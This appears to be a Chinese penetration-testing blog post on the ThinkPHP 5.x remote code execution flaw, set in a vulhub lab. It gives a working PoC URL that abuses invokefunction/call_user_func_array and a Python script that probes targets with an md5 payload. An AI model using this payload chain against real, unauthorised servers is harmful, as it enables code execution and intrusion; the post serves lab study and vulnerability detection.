漏洞利用-ThinkPHP5.X 远程代码执行漏洞
本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。

:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::

ThinkPHP5.X 远程代码执行漏洞

📚测试环境

vulhub 靶场 thinkphp 5.x rce 环境。

使用 docker-compose 开启环境

image.png

访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5
image.png

📚漏洞原理

框架在处理控制器中的函数参数时,未能正确过滤和验证输入,导致攻击者可以构造特定的输入数据,从而触发远程代码执行漏洞。

📚POC 示例

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

image.png

⚠️问题源码

漏洞利用

V1.0

'''
ThinkPHP 5.X RCE 

📚漏洞原理
框架在处理控制器中的函数参数时,未能正确过滤和验证输入,导致攻击者可以构造特定的输入数据,从而触发远程代码执行漏洞。

📚POC 示例
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123456
'''

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    payload = r'/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123456'
    url = urljoin(url, payload)
    response = requests.get(url)
    print(response.text)
    if 'e10adc3949ba59abbe56e057f20f883e' in response.text:
        print('[+] The vulnerability exists')
    else:
        print('[-] The vulnerability not exists')

if __name__ == '__main__':
    url = 'http://192.168.225.135:8080/'
    thinkphp5x_rce(url)

V2.0

优化:

学海无涯,回头是岸。 --- hola
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇